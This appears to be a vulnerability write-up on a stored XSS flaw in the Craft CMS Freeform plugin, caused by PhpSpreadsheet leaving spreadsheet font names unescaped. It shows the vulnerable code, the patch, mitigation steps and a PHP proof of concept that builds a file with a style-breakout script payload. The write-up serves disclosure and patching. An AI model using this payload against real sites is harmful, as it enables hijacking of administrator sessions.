Feb 18, 2026·6 min read·8 visits
The `solspace/craft-freeform` plugin for Craft CMS is vulnerable to Stored XSS due to a flaw in how its dependency, `phpspreadsheet`, handles font names. By uploading a crafted spreadsheet with a malicious font name (e.g., containing `<script>` tags), an attacker can execute arbitrary JavaScript when an admin views the file. Patch to version 4.1.23 to fix.
A deceptive Stored Cross-Site Scripting (XSS) vulnerability exists in the popular Craft CMS plugin `solspace/craft-freeform`, inherited from its dependency `phpoffice/phpspreadsheet`. The flaw allows attackers to embed malicious JavaScript payloads inside the metadata (specifically font names) of spreadsheet files. When an administrator views a form submission containing such a file, the application renders the spreadsheet into HTML without sanitizing the styling attributes, executing the payload in the context of the administrator's session. This is a classic example of trusting complex file formats and failing to sanitize 'invisible' metadata.
Spreadsheets are the mundane backbone of the corporate world. They are grids of numbers, formulas, and occasional pie charts. But to a security researcher, a modern spreadsheet (XLSX) is a complex zip archive full of XML files, waiting to be parsed by libraries that often bite off more than they can chew.
In the world of Craft CMS, solspace/craft-freeform is the go-to tool for building forms. It allows users to upload files, including spreadsheets. The problem arises when the application tries to show you what's inside that spreadsheet. To do this, it relies on phpoffice/phpspreadsheet to convert the grid into HTML. And that is where the magic happens.
Most developers diligently sanitize cell content. If you type <script> in cell A1, it usually gets escaped. But who sanitizes the font name? Who expects the font specifically chosen for cell A1 to be named Arial</style><script>steal_cookies()</script>? The answer, prior to version 4.1.23, was nobody. And that blind spot turned a simple file preview into a weaponized Stored XSS vector.
The root cause of this vulnerability lies deep within the \PhpOffice\PhpSpreadsheet\Writer\Html class. When this library converts a spreadsheet to HTML, it attempts to faithfully recreate the visual styles of the document. This includes colors, borders, and—crucially—fonts.
To apply these styles, the library generates a CSS block. It iterates through the spreadsheet's style definitions, grabs the font name, and concatenates it directly into a CSS string. It essentially says: font-family: ' + YourFontName + ';.
Here lies the logic error: The developer assumed YourFontName would be a valid font like 'Calibri' or 'Times New Roman'. They didn't anticipate that an attacker could modify the underlying XML of the XLSX file to set the font name to something malicious. Because the library failed to encode this string for the HTML context, an attacker can break out of the CSS context.
The browser parses the document top-down. It enters the <style> tag, expecting CSS rules. When it encounters the attacker's payload containing </style>, it immediately considers the style block closed and switches back to HTML parsing mode. The very next characters—<script>—are then executed as code. It is a classic 'Context Breakout' vulnerability.
Let's look at the diff. It's beautiful in its simplicity and terrifying in its implications. The vulnerability existed because the font name was treated as trusted data.
In src/PhpSpreadsheet/Writer/Html.php, the code looked something like this:
// The Vulnerable Code
$css['font-family'] = '\'' . $font->getName() . '\'';Note the lack of sanitization. The $font->getName() method retrieves the string directly from the spreadsheet's internal metadata and drops it into the CSS array. If the name is foo'</style><script>..., that acts as a literal injection.
The patch, applied in commit f7cf378faed2e11cf4825bf8bafea4922ae44667, introduces strict output encoding:
// The Fixed Code
$css['font-family'] = '\'' . htmlspecialchars((string) $font->getName(), ENT_QUOTES) . '\'';By wrapping the output in htmlspecialchars with ENT_QUOTES, any special characters (like < or ') are converted into their HTML entity equivalents (e.g., <). This effectively neutralizes the attack. The browser sees </style>, which is just a weird-looking font name, not a closing tag. The script never executes.
You can't easily generate this exploit using Microsoft Excel's GUI, because Excel validates font names. We need to get our hands dirty with the raw XML or use a script to bypass the UI validation.
Here is a conceptual Proof of Concept (PoC) using the library itself to generate the malicious file. We simply instantiate a spreadsheet and programmatically set a style that no sane GUI would allow:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
// 1. Create the spreadsheet
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$sheet->setCellValue('A1', 'Trap Cell');
// 2. Inject the payload into the Font Name
// The payload closes the style tag, opens a script, alerts, and re-opens style to keep syntax valid-ish
$payload = "Calibri'</style><script>alert('XSS via Font')</script><style>";
$sheet->getStyle('A1')->getFont()->setName($payload);
// 3. (Optional) In a real attack, you would save this as .xlsx and upload it.
// $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
// $writer->save('exploit.xlsx');
// 4. Simulate the victim server rendering it
$writer = new Html($spreadsheet);
echo $writer->generateHTMLAll();When generateHTMLAll() is called (which Freeform does when previewing the file), it outputs:
<style>
.style0 { font-family: 'Calibri'</style><script>alert('XSS via Font')</script><style>'; }
</style>This results in immediate execution of the JavaScript. If an administrator opens this submission in the Craft CMS control panel, the script executes with their privileges.
This is a Stored XSS, the most dangerous variant of Cross-Site Scripting. Unlike Reflected XSS, where you have to trick a user into clicking a link, Stored XSS sits and waits.
In the context of solspace/craft-freeform, this is likely used in a 'Contact Us' or 'Job Application' form. An attacker submits a job application and attaches their 'resume' (exploit.xlsx).
document.cookie), create a new admin user, or redirect the admin to a phishing page.Since this targets the administrative backend, the potential fallout is a full site compromise.
The fix is straightforward but critical. You must update the affected component. Since solspace/craft-freeform bundles or requires specific versions of the spreadsheet library, you should update the Freeform plugin itself.
Primary Fix:
Update solspace/craft-freeform to version 4.1.23 or higher.
Secondary Check:
Ensure that your composer.lock file is resolving phpoffice/phpspreadsheet to a safe version. You want version 2.1.0+ or 1.29.1+. You can verify this by running:
composer show phpoffice/phpspreadsheetIf you cannot patch immediately, you must disable any functionality that allows the previewing or HTML rendering of uploaded spreadsheet files within the CMS. Simply allowing the download of the file (instead of rendering it) mitigates the XSS risk, although it passes the risk to the user's local machine (though local Excel is generally harder to exploit via XSS).
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
solspace/craft-freeform Solspace | < 4.1.23 | 4.1.23 |
phpoffice/phpspreadsheet PHPOffice | < 1.29.1 | 1.29.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS Score | 5.4 (Medium) |
| Attack Vector | Network (Stored) |
| Impact | Session Hijacking / RCE via Admin Panel |
| Affected Component | PhpSpreadsheet HTML Writer (Font Name) |
| Exploit Status | Proof of Concept Available |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')